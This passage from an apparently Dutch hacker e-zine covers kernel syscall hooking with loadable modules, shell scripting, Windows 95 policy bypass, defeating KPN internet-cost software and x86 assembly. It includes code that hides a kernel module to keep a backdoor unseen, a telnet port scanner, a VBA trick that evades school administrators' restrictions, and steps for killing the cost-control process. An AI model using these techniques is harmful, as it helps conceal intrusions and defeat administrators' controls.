rare dingen gaan doen. Voor een overzicht van alle system calls kijk in: "/usr/include/asm/unistd.h". Daar staan ze tenminste bij mij. Anders kan je OS ze ook in: "/usr/include/sys/syscall.h" hebben staan. Daar staan alle gedefineerde system calls van je OS in. Laten we eens gaan kijken wat er gebeurd als we een systemcall uit proberen die dus NIET bestaat! [gorny@localhost artikel]$ vi ./syscall1.c /* Voorbeeld van een systemcall */ #include #include #include extern void *sys_call_table[]; functie() { __asm__( /* wel gecheckt of systemcall 165 NIET bestaat? */ "movl $165,%eax int $0x80"); } main() { errno = functie(); perror("Invalid syscall"); } [gorny@localhost artikel]$ gcc -O2 -o syscall1 ./syscall1.c [gorny@localhost artikel]$ ./syscall1 Invalid syscall: Unknown error 4294967282 [gorny@localhost artikel]$ su Password: [root@localhost artikel]# ./syscall1 Invalid syscall: Unknown error 4294967282 [root@localhost artikel]# exit [gorny@localhost artikel]$ En zoals we al verwacht hadden geeft de kernel een keurig nette foutmelding. Normaal zal de controle terug gegeven worden gegeven aan de gespecificeerde systemcall. Hierna roept _system_call() de functie _ret_from_sys_call() aan, om verschillende informatie te checken en uiteindelijk weer terug te keren naar het usersegment in het geheugen. Zoals je ziet, maakt het ook geen ver- schil of je het programmaatje uitvoert als gewone user of als root. NOTE: Om de een of andere vage reden geeft het voorbeeldproggie een core-dump als ik hem gecompiled heb met de optimatie-optie '-O3'. Vraag me niet waarom, want '-O1' en '-O2' werken wel gewoon :( - Loadable kernel modules Als je nou zelf je eigen system calls wilt maken dan kun je dit doen door de source van je kernel handmatig aan te passen en een nieuwe kernel te compilen. Het is echter heel wat makkelijker als je een loadable kernel module gebruikt. Dit betekent domweg dat het een objectfile is die gelinked zal worden als de kernel de module nodig heeft. Hierdoor kun je ook een kleinere kernel krijgen, door alles wat je niet vaak nodig hebt, als aparte module te compileren. In feite is het enige wat je moet doen in je module om system calls toe te voegen is het veranderen van de sys_call_table array die al eerder is beschreven. Elke loadable kernel module (lkm) heeft in ieder geval de functies; int init_module(void) void cleanup_module(void) De eerste functie wordt aangeroepen bij het laden van de module en de tweede bij (je raadt het al :) het unloaden van de module. Nog even een waarschuwing voor mensen die nu hun eigen loadable kernel modules willen gaan schrijven. Begrijp goed dat je met kernel-code bezig bent en dat je hele systeem in de war kan lopen als je echt rare system calls gaat uitvoeren. Let dus goed op en zorg ervoor dat de code goed is voordat je de gecompilede code gaat uitvoeren. Een ander nadeel van kernel modules is dat ze niet libc kunnen gebruiken. Ze moeten direct via system calls hun opdrachten uitvoeren. Hier bestaat ook een handige macro voor genaamd _syscallX(), maar het kan ook gewoon met de sys_call_table array. Ook is het een goed idee om je module te compileren met een regel als: [gorny@localhost artikel]$ gcc -c -O3 blaat.c Met de optie O3 wordt namelijk alles geoptimaliseerd en duurt het compilen wat langer, maar uiteindelijk levert het wel wat snelheidswinst op :) Je krijgt dan een module genaamd blaat.o. Deze kun je laden met 'insmod blaat.o' en dan is je lkm actief. Wil je hem weer uit het geheugen laden dan doe je 'rmmod' en voor een overzicht van alle geladen kernel modules typ je 'lsmod'. Laten we eens een voorbeeld module gaan bekijken. Deze heb ik gehaald uit het artikel van plaguez. #define MODULE #define __KERNEL__ #include #ifdef MODULE #include #include #else #define MOD_INC_USE_COUNT #define MOD_DEC_USE_COUNT #endif #include #include #include #include #include #include #include #include int errno; /* Hier wordt een pointer gedefineerd die naar de oude setreuid */ int (*o_setreuid) (uid_t, uid_t); /* In de onderstaande array staan de systemcalls en pointers */ extern void *sys_call_table[]; int new_setreuid(uid_t ruid, uid_t euid) { printk("uid %i trying to seteuid to euid=%i", current->uid, euid); return (*o_setreuid) (ruid, euid); } int init_module(void) { o_setreuid = sys_call_table[SYS_setreuid]; sys_call_table[SYS_setreuid] = (void *) new_setreuid; printk("swatch loaded.\n"); return 0; } void cleanup_module(void) { sys_call_table[SYS_setreuid] = o_setreuid; printk("swatch unloaded.\n"); } Je compileert deze module met 'gcc -c -O3 plaguez.c'. Wat doet deze module eigenlijk precies? Als hij wordt aangeroepen en in het geheugen wordt geladen zal de pointer naar de oude setreuid functie opgeslagen worden in o_setreuid. Hierna wordt de sys_call_table gewijzigd zodat de systemcall 'setreuid' nu wijst naar de functie 'new_setreuid'. De informatie wordt dus onderschept en daarna wordt pas de goede functie aangeroepen. Bij het unloaden van de module wordt alle informatie weer terug gezet zoals het was en zal de system call 'setreuid' weer gewoon wijzen naar de goede functie. Zoals je hier ook duidelijk ziet kun je niet de gewone printf-functie gebruiken van libc. Daarom wordt hier de functie printk gebruikt die wel aangeroepen kan worden door loadable kernel modules. - Verbergen van modules Maar natuurlijk zal de module ook verborgen moeten worden. Anders is de module veel te gauw gespot en daar heb je hem niet voor geinstalleerd :). Dit kan ge- daan worden op verschillende manieren. Een mogelijkheid is om '/proc/modules' te wijzigen zodra een programma die file probeert te lezen, maar dit is erg moeilijk om te programmeren en het schijnt dat je dan met: 'dd if=/proc/modules bs=1' wel gewoon de file kan lezen inclusief de naam van de module die je wilt verbergen. Er is wel een oplossing. De module lijst wordt niet direct geëxporteerd vanuit de kernel zodat er geen manier is om deze lijst direct aan te spreken. Dit laatste kan echter alleen als sys_init_module() wordt aangeroepen, want dat is namelijk de module die onze eigen lkm moet gaan aan- roepen, dus die moet toegang hebben tot de moduleinfolijst. Hierbij moeten we er wel van uitgaan dat GCC de registers niet verneukt tussen het aanroepen van 'sys_init_module' en het aanroepen van 'init_module()'. Dat maakt het mogelijk om na te gaan wat het register was waarin de moduleinfolijst begon. De module- lijsten zijn opgeslagen in een register struct van het gedefineerd type module. De naam van deze struct is mp. Je kan dan nagaan wat het adres is van 1 van de items van de struct. Als je dan een stukje code als het onderstaande schrijft in je lkm dan zal de module niet getoond worden in /proc/modules, omdat de kernel denkt dat het een kernel module is, aangezien die ook geen referenties en een naam hebben. Bij het onderstaande stukje wordt er wel vanuit gegaan dat het adres van die struct is opgeslagen in %ebx. Dit zul je dus wel even moeten checken om daar het goede register in te vullen. int init_module() { register struct module *mp asm("%ebx"); *(char*)mp->name=0; mp->size=0; mp->ref=0; /* De rest van je code */ } Naast het verbergen van de module zelf zijn er trojans geschreven met allerlei opties. Zoals: PID-hiders, execve redirection, file hiders, socket recvfrom() en gemodificeerde setuid()-calls. Vooral itf.c van plaguez heeft veel opties. Maar het is natuurlijk wel lame om niet je eigen trojans te gebruiken, maar die van anderen (zie artikel van Nynex in H4H-0C over lameheid :). Bovendien leer je gigantisch veel van het zelf schrijven van je trojans en tools. Als je van het zelf maken van je programma's niets leert dan leer je nergens wat van. Kun je beter je computer verkopen ofzo en postzegels gaan verzamelen :) - Afsluiting Nou dat was het dan. Ik hoop dat jullie het een beetje een interessant artikel vonden. Voor alle vragen, flames en dergelijke mail me maar op onderstaand adres. Als je meer wilt weten over het hacken van een kernel, kijk dan eens bij de website van Phrack Magazine. Daar zijn heel veel artikelen verschenen die op de een of andere manier betrekking hebben op het hacken van de kernel, verstoppen van backdoors en dergelijke. Kijk ook eens in de archieven van BugTraq. Ik geloof dat daar in het verleden wel eens wat discussies hebben plaats gevonden over het fenomeen kernelhacking. Nu is het wel duidelijk dat als je systeem gekraakt is, het goed mogelijk is dat de hacker/cracker een backdoor heeft verstopt. Een manier om er voor te zorgen dat er geen backdoors en stuff geinstalleerd blijven is een voor de hand liggende: reinstall. Niet een al te prettige oplossing, maar dan weet je in ieder geval zeker dat de kraker er niet meer in kan komen om je 1337 exploits en gejatte /etc/passwd's eens even goed te onderzoeken :) Voor de rest, zoek het allemaal zelf maar uit. Er is genoeg informatie te vinden op het web. Een ideetje is misschien om de tcp-stack van de gehackte comp. eens naar je eigen hand zetten. Need I say more?? :-P Gegroet, Gorny - Bronnen [1] Weakening the Linux Kernel, by plaguez (Phrack Magazine, Volume 8, Issue 52, article 18 of 20) [2] Abuse of the Linux Kernel for Fun and Profit, by Halflife (Phrack Magazine, Volume 7, Issue 50, article 5 of 16) [3] http://www.itsx.nl Afdeling Projecten --> Kernel hacking [4] hersenen (gekregen van mijn vader en mijn moeder :) ------------------------------------------------------- 07. De Basis Van Shellscripting (deel 3) ------------------------------------------------------- Ey, daar was ik weer met mn laatste artikel over shell scripting. We gaan maar gelijk over tot de orde van de dag :) processen en signalen Hierover valt veel te vertellen..o.a. veel theorie, daar begin ik dus ook mee. Een besturingssysteem moet veel werk verrichten en om al deze taken te kunnen realiseren, moet het besturingssysteem in staat zijn elk proces ondubbelzinnig te indentificeren. Daarom krijgt onder unix elk proces een ondubbelzinnige id. dit is een positief getal groter dan 0. het eerste proces krijgt dus nummer 1, het tweede proces 2 etc. dit nummer kan niet gewijzigd worden. met het commando ps kan je statussen zien van processen. Hieronder een stuk script dat het aantal gebruikers nagaat het het aantal processen per gebruiker who | cut -d' ' -f1 | sort | uniq -c | while read lvNum lvUser ; do echo -n "User: $lvUser heeft $lvNum tty's en " echo `ps aux | grep "^$lvUser" | wc -l` "processen" done exit 0 $ ./script User: max heeft 3 tty's en 6 processen User: root heeft 1 tty's en 41 processen signalen zijn asynchrone berichten die in scripts kunnen optreden en die acties oproepen. voor een overzicht van alle signalen, hun standaardactie en hun betekenis zien de manpage van signal(7) trap is een commando die signalen van de shell kan afvangen. met de optie -l zie je alle beschikbare signalen en hun nummers. als je een signaal wilt negeren roep je trap aan met de optie '': trap '' SIGINIT # negeert SIGINIT als je een opdracht wilt uitvoeren wanneer het script een signaal ontvangt moet je de opdracht tussen aanhalingstekens of apostroffen plaatsen en het desbetreffende signaal erachter specificieren. like: trap 'echo " QUIT "' 3 hier nog een voorbeeld: # vangt SIGINIT af (ctrl+c) # trap "echo INT" INT echo "met kill -SIGTERM $$ beeindigen" while true ; do sleep 2 ; echo sleep 2 ; done exit 0 programma's kunnen op de achtergrond worden gezet door een & achter de opdracht te zetten wait wait is een opdracht dat wacht totdat een proces beeindigd is met de id het script gaat pas verder wanneer dit proces beeindigd is. prioriteiten elke proces heeft een prioriteit van -20 tot 19, de hoogste prioriteit is -20 en de laagste is 19. afhankelijk van de prioriteit krijgt een proces meer of minder cpu-tijd toebedeeld. dat kan je doen met de opdracht nice, nice -n nice wijzigt dan de prioriteit van en telt daar bij op. gewone users kunnen alleen positieve waarden voor specificieren, alleen root kan negatieve waarden instellen en de prioriteit dus verhogen. oke we gaan verder met het volgende hoofdstuk. variabelen en stuff eromheen oke, gebruikersvariabelen zijn variabelen die je zelf maakt en manipuleert en waarin je de gegevens opslaat die belangerijk zijn voor et script. deze variabelen zijn allereerst van het type string, wat betekent dat er een willekeurige tekenreeks in opgeslagen kan worden. ook bewerkingen van tekenreeksen zijn mogelijk, ook al slaan we getallen in de variabelen op, dan kunnen we er nog niet mee rekenen, tenzij we een omweg via expr nemen. bovendien zou het aardig zijn als we ook constanten konden definieren en een poging om een constante een nieuwe waarde toe te wijzen tot een fout zou leiden. dit alles en nog veel meer bereikt je met de opdracht typeset, waarvab de syntaxis er zo uitziet: typeset [=] declare [=] typeset is een opdracht v/d kornshell, maar uit compatibiliteitsoverwegingen is de opdracht ook in de bash te vinden. we gaan verder met rekenkundige expressies, hier is een voorbeeld van hoe je bijvoorbeeld kan rekenen in een shellscript: typeset -i res=0 typeset -i var var=10 res=11*var echo "resultaat:$res" $ ./bla resultaat=110 in rekenkundige expressies heb je geen $ nodig om naar een variabele te verwijzen. hieronder staan alle operatoren die de shell binnen rekenkundige expressies herkent: - + teken ! ~ logische en bitsgewijze negatie * / % vermenigvuldiging, deling, rest bij integerdeling + - optelling, aftrekking << >> bitsgewijze verschuivingen naar links, respectievelijk rechts <= >= < > vergelijking == != gelijkheid en ongelijkheid & bitsgewijs EN ^ bitsgewijs XOR (exclusief of) | bitsgewijs OF && logisch EN || logisch OF ?: voorwaardelijke evulatie komt overeen met de test if [ ] ; then else fi het verschil is dat de if-tests binnen de rekenkundige expressies niet toegestaan zijn = += &= toewijzen: staat er een operator voor de *= -= ^= toewijzing dan wordt de variable links van het %= >>= gelijkteken = met de /= <<= |= expressie rechts van de operator verbonden a+=2 is dus gelijk aan a=a+2 hier nog ff wat voorbeelden en dan gaan we verder: $ echo $((0xA)) 10 $ typeset -a waarde $ waarde[10]=12 $ echo ${waarde[*]} 12 $ echo ${#waarde[@]} 1 naja..we gaan verder :) variabelen kan je wissen met de functie unset dat doe je door unset te doen random is een generator van toevalsgetallen, elke benadering van $RANDOM (zoiets als echo $RANDOM) retouneert steeds een ander, toevallig en positief geheel getal. shlvl geeft aan hoeveel shells genest zijn. $ echo $SHLVL 1 PS1, PS2, PS3 en PS4 deze vier variabelen worden door de shell onder verschillende onmstandigheden als prompt gebruikt. PS1 is de prompt die in de interactieve modus wordt weergegeven en aangeeft dat er invoer mogelijk is. Hieronder staan de tekenreeksen die een speciale betekenis hebben \a een alarmsignaal \h de hostnaam zonder het domein \u naam van de huidige user \t tijd in 24 uurs notatie \w toont de huidige directory, daarbij wordt de $HOME directory als ~ aangegeven \W geeft de basisnaam van de huidige scriptdirectory weer zonder / dus iets als /etc/bla/die/bla wordt gewoon bla Oke dat was et totzover. We gaan verder met het volgende hoofdstuk. scripts op een bepaalde tijd starten als je scripts of programma's op een bepaalde tijd wil starten zijn man at en man cron(tab) je beste vrienden. prompts met escapereeksen van de bash kan je voorgrond en voorgrond veranderen (had ik in mn vorige text ook al genoemd met tput maar als tput niet beschikbaar is is dit de oplossing) hier een voorbeeld # maak je achtergrond rood (als je exit word de achtergrond hersteld) echo -en "\[\033[1;41m\]" clear de escapereeksen van de bash beginnen altijd met \[ en eindigen met \] maar er zit ook altijd 033 tussen dus zo word et eigenlijk: \[033[kleurcode\] ik ga hier niet alle kleurcodes noemen omdat dat er teveel zijn maar als je wil ga je ff goed zoeken en dan vind je ze vast wel ergens op inet. alias/unalias hierover zal ik het kort houden, een alias is een andere naam voor een bekende opdracht, dus doe zoiets als alias ls='ls -al --color' en als je dan ls doet krijg je alles te zien (inclusief verborgen files) en in ook in kleuren :) je pleurt de alias er gewoon weer uit met unalias ls that's it, next :) debuggen en foutzoeken fouten zijn in 4 categorieen te verdelen: logische fouten, syntactische fouten, programmeerfouten en fouten in de gebruikte programma's planning voordat je aan een (groot) script begint zou je eigenlijk voor het gemak een planning moeten maken, wat het script doet, hoe je het in gaat delen etc, zo maak je ook minder snel fouten. echt bug zoeken gaat in shell scripting moeilijker dan bijvoorbeeld in c echte grote bugs zullen ook minder snel in shell scripts voorkomen, het grootste probleem is vaak kleine typefoutjes. logische fouten kunnen ook voorkomen, doordat je bijvoorbeeld gewoon een logische denkfout maakt, hier een voorbeeld van zo'n logische fout: .. typeset -i gvAantReg=0 gvAantReg=gvAantReg + `wc -l bestand` .. de fout is dat wc de bestandsnaam weergeeft, waardoor de bovenstaande instructie het volgende probeert uit te voeren: .. typeset -i gvAantReg=0 gvAantReg=gvAantReg + 1234 bestand dit soort fouten kunnen gewoon niet voorkomen worden als je niet goed oplet of vrij nieuw bent hiermee en dit soort fouten snel maakt, de oplossing is gewoon goed naar de code kijken en logisch overzien wat er fout kan zijn. zodra je et ziet gewoon fixen. zie je et niet, nog een keer bekijken, totdat je de fout ziet :) het kan voorkomen dat er fouten zitten in programma's die je zelf gebruikt daar valt weinig te doen behalve zelf de code opzoeken van het programma en het zelf fixen (of de auteur van et proggie contacten) of een andere opdracht of programma gebruiken in plaats van het prog/opdr. dat de bug bevat. verder heb ik hier eigenlijk niet al teveel meer over te zeggen aangezien ik bar weinig verstand heb van debuggen en foutzoeken in shell scripting. kep ook maar gelijk hieronder 2 programma's in shell script bijgeprakt die als voorbeeld dienen: #!/bin/sh # vanilla.sh - tcp connection (telnet) port scanner for non-root users # by: ben-z(@alloymail.com) http://benz.staticky.com # set up our environment vv="[vanilla!benz]:" count="$2" mv .vs.tmp .vs.tmp.bak 1>/dev/null 2>/dev/null clear if [ `whoami` = "root" ]; then echo "$vv this portscan was designed for normal users ." echo "$vv it would make more sense for you to use a faster scanning " echo "$vv utility such as nmap or " echo "$vv strobe . If you still want to continue," echo "$vv you may switch to a normal user account and run this again. " exit 0 fi # print the usage instructions if [ "$2" = "" ]; then echo "$vv usage is: $0 [-c]" echo "$vv examples:" echo "$vv vs 127.0.0.1 1024 <-- this would scan 127.0.0.1 p1024->65535" echo "$vv vs 127.0.0 23 -c <-- this would scan 127.0.0.1-255 p23" exit 0 fi # do a single host scan if no -c if provided if [ "$3" = "-c" ]; then echo "$vv not yet implemented.. sorry :P" exit 0 fi echo "" echo "$vv now scanning $1 on ports $count -> 65535." echo "vanilla.sh v1 by ben-z(@alloymail.com) http://benz.staticky.com" >>.vs.tmpecho "$vv results of scan on $1 ($count -> 65535):" >>.vs.tmp while [ "$count" != "65535" ]; do count=`expr $count + 1` echo -n "$vv ($count) attempting connection to $1" telnet $1 $count 1>.vs2.tmp 2>.vs2.tmp & killall -9 telnet 1>/dev/null 2>/dev/null cat .vs2.tmp | grep -v refused | grep closed >/dev/null 2>&1 if [ $? -eq 0 ]; then echo -n " connected!" # try to determine which port we found if [ "$count" = "1" ]; then echo "1/tcp: tcpmux" >>.vs.tmp fi if [ "$count" = "7" ]; then echo "7/tcp: echo" >>.vs.tmp fi if [ "$count" = "9" ]; then echo "9/tcp: discard" >>.vs.tmp fi if [ "$count" = "11" ]; then echo "11/tcp: systat" >>.vs.tmp fi if [ "$count" = "13" ]; then echo "13/tcp: daytime" >>.vs.tmp fi .. [knip] fi echo "" done exit 0 # bla.sh # by max typeset -r gcTmpfile=/tmp/count typeset -i gvAant=`find -name bla -print 2>/dev/null | tee $gcTmpfile | wc -l | cut -c2-7` $typeset -i gvNr=0 typeset -i gvSom=0 while [ $gvNr -lt $gvAant ] ; do gvNr=gvNr+1 gvBestand=`sed -n -e "${gvNr}p" $gcTmpfile` echo $gvBestand typeset -i gvRes=`wc -c <$gvBestand` gvSom=gvSom+gvRes done if [ $gvAant -eq 0 ] ; then echo "geen bestanden gevondah" else echo "in totaal $gvAant bestanden nemen $gvSom bytes in beslag" fi rm -f $gcTempfile exit 0 Oke dit was et weer, hopelijk heb je wat van mn 3 artikels geleerd, zo niet jammer dan :) als je goed opgelet heb en alle 3 de artikels goed heb gelezen ken je de basis (en misschien wel wat meer) van shell scripting. dan is veel oefening en man pages lezen de enige goede oplossing om goed te worden met shell scripting. mail me gerust met opmerkingen en/of vragen. iig. suc6 en keep on scripting :) laterz max (mmo@casema.net) thanx to asby greetz to thijs, genetics, f399, asby, skeruno, #eval & #h4h ------------------------------------------------------- 08. Evenementen ------------------------------------------------------- Linux Expo URL: http://www.linux-expo.com Datum: 23 en 24 Januari 2001 Locatie: Ray, Amsterdam Computable Carriere Dagen URL: http://www.BrassRing.nl Datum: 26 en 27 Januari 2001 Locatie: Jaarbeurs, Utrecht IT Security Management URL: http://www.infocare-events.nl/events/it-security-management.html Datum: 13 en 14 Februari 2001 Locatie: Holday Inn, Utrecht Nationaal CV-IT Event 2001 URL: http://www.cv-it.net Datum: 22 Februari 2001 Locatie: Jaarbeurs, Utrecht Veilig werken met Windows NT URL: http://www.infocare-events.nl/events/veilig-windowsnt.html Datum: 27 en 28 februari 2001 Locatie: Daxis, Deventer Linux 2001 URL: http://www.linux2001.nl/ Datum: 22 en 23 mei 2001 Locatie: De Reehorst, Ede Dit zijn de evenementen voor de komende periode. Mochten we evenementen gemist hebben en waarvan jij vindt dat ze er bij moeten staan mail dat dan naar h4h-redactie@hackers4hackers.org ------------------------------------------------------- 09. Policies in Win95 ------------------------------------------------------- Door PtPtH, een simpele 16 jarige scholier. H4H@ptpth.cjb.net http://ptpth.cjb.net Voorwoord Ik leg uit hoe je met in policies beveiligde windows 95 systemen kan breken door middel van een simpel word-basic programmetje. Inleiding In H4H nummer 1 las ik een stuk van Resistance over het hacken van met policy begrenste windows systemen. Zijn manier kon tot vorig jaar nog bij ons op school (school; ja school ik ben nog maar 16), maar dat had de systeembeheerder natuurlijk ook door en die heeft dit jaar het systeem beter beveiligd waardoor je een foutmelding krijgt als je probeert de Explorer uit te voeren vanuit IE met de opdracht file://c:/windows/explorer.exe. Je krijgt dan een bericht dat je geen rechten hebt. Dit is ook een beveiliging van de 'poledit' en is te omzeilen, door een word-basic programmatje. De werking. In word is het mogelijk om visual basic scripts te maken. Ik heb gekozen voor een knop met daarachter een commando(reeks). Zet de werkbalken 'werkset besturingselementen' aan. Bouw in het document een knop. Geef deze een naam zoals 'Voer proggie uit'. Druk met je rechter- muisknop op die knop en kies dan 'programmacode weergeven'. Voer bij de programmacode het volgende in: Private Sub CommandButton1_Click() Dim opdracht As String dim tekst as string dim titel as string Dim x As Variant tekst="Voer pad en bestandsnaam in van het programma dat je wil starten" titel="Policies omzeilen" opdracht = InputBox(tekst, titel, "C:\windows \explorer.exe") On Error Resume Next x = Shell(opdracht,1) End Sub Sla het bestand op, sluit de VB-editor en druk op de knop (sluit de ontwerp modus af!). Er zal nu een venster verschijnen waarin het mogelijk is een pad en een bestandsnaam in te voeren met de standaardwaarde c:\windows\explorer.exe ( Verkenner ;-) ). Mocht je onzin invullen zoals h:\blah\blah.exe dan zal hij niets doen vanwege de regen 'On Error Resume Next'. Als je die regel er niet hebt staan zal hij een foutmelding geven bij onzin. Nu kan je ook 'regedit' en 'poledit' uitvoeren en dus de beveliging er totaal afhalen: Resistance: Je kan de policies er ook met de hand afhalen. Om dit te doen open je het programma c:\windows\regedit.exe. Nu staan links een paar mappen. Open HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies. Hierin zijn een aantal mappen, waaronder bijvoorbeeld explorer en network. Als je een van deze mappen opent zie je rechts verschillende dingen staan. Bijvoorbeeld NoClose, NoDesktop, NoDrives, NoFind. Achter deze namen staan de waardes van de namen. Deze waardes zijn meestal 1 of 0. 1 is dan aan en 0 is uit. Als er bijvoorbeeld NoRun staat met een waarde van 1, dan is in het startmenu de optie 'uitvoeren' verdwenen. Als je deze nou weer terug wilt dan moet je de 1 veranderen in 0. Bij de volgende herstart is de optie weer bruikbaar. VBA heeft veel meer mogelijkheden om beveiligingen te kraken. Het is ook mogelijk een script te schrijven om de registersleutels automatisch te laten veranderen/verwijderen. Hierover later misschien meer. Veel succes ermee, PtPtH H4H@ptpth.cjb.net ------------------------------------------------------- 10. Internet KostenBeheersing ------------------------------------------------------- Het Probleem: IKB (Internet KostenBeheersing) is een KPN-oplossing voor te hoge telefoonrekeningen door internetgebruik. Een beheerder geeft internetgebruikers een bepaald tegoed. Het werkt (uiteraard) alleen onder windows 9X. IKB start tegelijk op met windows, blijft in de system tray staan en reageert als je inbelt. Je geeft je wachtwoord en je kunt internetten. De Oplossing: Het eerste wat je onder windows probeert om onder een vervelend programma uit te komen is natuurlijk ctrl-alt-delete. En dat heeft men bij KPN blijkbaar ook bedacht, want hier staat IKB niet vermeld. Goed... Dan eens kijken hoe het opstart. start-->uitvoeren-->msconfig Juist, onder opstarten: "IKB C:\PROGRAM FILES\KPN\INTERNET KOSTENBEHEERSING\IDTT.EXE". Alles mooi in caps, dus het valt lekker op. Goed, hiervoor het V-ding (heeft ook een naam, maar die ben ik even kwijt) weghalen en IKB start niet meer op. Dit alarmeert je beheerder waarschijnlijk, dus het is geen echt handige oplossing, tenzij je van rebooten houdt. Toen ik IKB probeerde te crashen nam windows dit verkeerd op, besloot om zelf plat te gaan en moest ik rebooten. Ik probeerde opnieuw online te gaan en mijn tegoed was niet achteruit gegaan. Blijkbaar schrijft IKB de 'historie' pas weg op het moment dat de verbinding verbroken wordt op een legale windowsmanier. Hier schuilt een oplossing, gewoon na het internetten 2 keer ctrl-alt-delete rammen en je tegoed gaat niet achteruit. Maar dit is niet zo netjes en het kan ook makkelijker. We moeten gewoon idtt.exe afsluiten en je kunt onbeperkt online. Voor zover ik weet kan dit niet via windhoos zelf, dus zoeken we ergens een proggie dat dit wel kan. Ik heb Process View 1.0 gebruikt, maar dat is 1.2 Mb groot, wat ik wat opvallend vind voor wat het doet. Met dit programma zie je een lijstje met alle programma's die op het moment draaien en kun je ze afsluiten. Je sluit idtt.exe af en je kunt, zonder dat je tegoed achteruit gaat, internetten. Ook als je idtt.exe pas afsluit als je al online bent gaat je tegoed niet achteruit. Oplossing 2: installeer Linux, want daar draait het niet op. Doquan ------------------------------------------------------- 11. x86 Assembly Tutorial ------------------------------------------------------- x86 Assembly Tutorial {STABLE 0.5.1} Deze tekst is uitsluitend voor educatieve doeleinden geschreven, ik kan niet aansprakelijk worden gesteld voor alles wat je hierin leest. Deze tekst zal je niet alles leren wat er te leren valt aan assembly. De bedoeling van deze tekst is om je een beetje op weg te helpen met assembly. Verder is deze assembly tutorial gericht op de 16bit MS-DOS/CBIOS assembly. door GeNeTicS, genetics@hit2000.org ---{ Index } 01. Inleiding 02. Getallenstelsels 03. Gegeventypen 04. Registers 05. Segment en pointer registers 06. Flag register 07. Stack 08. De meestgebruikte instructies 09. IBM PC BIOS Interrupts 10. Compare 11. Voorbeeld programma ---{ 01. Inleiding } Assembly wordt tegenwoordig niet vaak meer gebruikt, omdat je met programeertalen zoals Pascal en Delphi veel sneller programma's in elkaar zet. Toch word het voor sommige doeleinden nog wel gebruikt, optimalisatie van software, software cracken, virussen etc. ---{ 02. Getallenstelsel } ==# Binaire getallenstelsel: Weegfactor: 2^x 0101(bin) naar decimaal 1 * 2^0 = 1 0 * 2^1 = 0 1 * 2^2 = 4 0 * 2^3 = 0 ----+ 5 in decimaal ==# Octale getallenstelsel: Weegfactor: 8^x Bytes: 1 136(oct) naar decimaal 6 * 8^0 = 6 3 * 8^1 = 24 1 * 8^2 = 64 ----+ 94 in decimaal ==# Decimale getallenstelsel: Weegfactor: 10^x ==# Hexadecimale getallenstelsel: Weegfactor: 16^x Bytes: 2 5AF(hex) naar decimaal F(15) * 16^0 = 15 A(10) * 16^1 = 160 5 * 16^2 =1280 ----+ 1455 in decimaal ---{ 03. Gegeventypen } De registers kunnen oa. 5 typen gegevens bevatten, namelijk: ==# Bit Bit: 1 ==# Nybble Bit: 4 Een Nybble is een collectie van 4 bit's, die is genummert van 0 tot 3. ==# Byte Bit: 8 Een Byte is een collectie van 8 bit's, die is genummert van 0 tot 7. Byte komt van By-Eight (: ==# WORD Bit: 16 Een WORD is een collectie van 16 bit's, die is genummert van 0 tot 15. ==# DWORD "Double WORD" Bit: 32 Een DWORD is een collectie van 32 bit's, die is genummert van 0 tot 31. ~ Declaratie identifier db data identifier byte data identifier word data identifier dword data identifier sbyte data identifier sword data identifier sdword data ** "s" staat voor singed, die kunnen negatief worden. vb. string db 'hoi wereld! jij bent ziek' ~ ---{ 04. Registers } Registers zijn variabelen die opgeslagen staan in de geheugenbankjes. Ze worden gebruikt om gegevens in op te slaan. Globaal zijn er 4 verschillende soorten registers, algemene, segment en offset registers. Verder is er een flag register waarin bepaalde eigenschappen van uitkomsten van berekeningen in worden bewaard, hierover verderop nog meer. Registers komen voor in drie verschillende vormen: 32bit registers: * bv. eax, ebx, ecx, edx, edi, esi, esp en ebp. 16bit registers: * bv. ax, bx, cx, dx, di, si, sp en bp. 8bit registers: * bv. al, ah, bl, bh, cl, ch, dl en dh. Hetgeen wat verschilt is de grootte. Een 16bit register bestaat uit twee 8bit registers, het hoge gedeelte eindigt op een 'h', het lage gedeelte eindigt op een 'l'. Algemene registers: * AH/AL, AX, EAX : Accumulator * BH/BL, BX, EBX : Base * CH/CL, CX, ECX : Counter * DH/DL, DX, EDX : Data Stack Register: * SI, ESI: Source Index * DI, EDI: Destination Index * IP, EIP: Instruction Pointer Segment Registers: * CD : Code Segment * DS : Data Segment * SS : Stack Segment * ES : Extra Segment * FS : Extra Segment * GS : Extra Segment Pointer Registers: * SP, ESP: Stack Pointer * BP, EBP: Base pointer ---{ 05. Segment en pointer registers } Segment registers worden gebruik om aan te geven waar in het geheugen gezocht moet worden en de offset registers worden gebruikt om de offset binnen het aangegeven segment aan te geven, op het aanspreken van het geheugen zal nog worden terug gekomen even verderop in dit artikel. Aangezien de registers in de oudere chips slechts 16 bit waren, dus maximaal 64K, moest er een manier gevonden worden om toch meer dan slechts 64K geheugen aan te spreken. De oplossing werd gevonden in het gebruik van 2 registers om een geheugen plaats aan te geven, 1 segment register en 1 offset register. Benadering van het geheugen gaat dan als volgt: het segment register geeft aan welk blok er in het geheugen wordt bedoelt en het offset registers geeft aan op welke plaats (offset) er moet worden gekeken in dit segment. Je zou denken dat er nu 64K * 64K = 4Gig aan geheugen geaddresseerd zou kunnen worden, dit is echter niet het geval aangezien een segment register niet verwijst naar 64K blokken, een waarde van 4 in een segment register verwijst dus niet naar het 4e 64K blok. Segment register verwijzen naar blokken van 16 bytes. De slimme lezer heeft ondanks mijn miezerige uitleg natuurlijk direct gezien dat segment:16 overeenkomt met segment+1:0. De reden voor deze blok grote is dat op die manier het geheugen effectiever kan worden gebruikt. Een nadeel is dat de maximale grote van het adreseerbaar geheugen afneemt tot 64K * 16 = 1Meg. Verschillende segment en offset registers hebben een vaste functie. CS:IP verwijst naar de instructie die als volgende door de processor moet worden uitgevoerd. SS:SP verwijst naar de top van de stack. DS,ES,SI en DI zijn de registers die voor normale data worden gebruikt en vormen ook de segment en offset register waarmee instructies als movsb werken. ---{ 06. Flag register } Flags word gezet als je een berekening maakt. De flags zijn 16bit registers. Hier volgt een lijst van een aantal flags. Flag Type Bit Position Use --------------------------------- C Status 0 Set on carry A Status 4 Set on half carry S Status 7 Set on negative result Z Status 6 Set on zero result O Status 11 Set on overflow P Status 2 Set on even parity D Mode 10 Direction I Mode 9 Interrupt Enable T Mode 8 Trap Een flag kan niet of wel gezet zijn. Is de bit 0 dan is hij niet gezet, is de bit 1 dan is hij wel gezet. ---{ 07. Stack } De stack is een deel uit het gehuigen dat op een speciale manier word gebruikt. De stack kun je vergelijken met een stapel borden. Het bord die er als eerste opkomt gaat er als laatste af, dit is de FILO 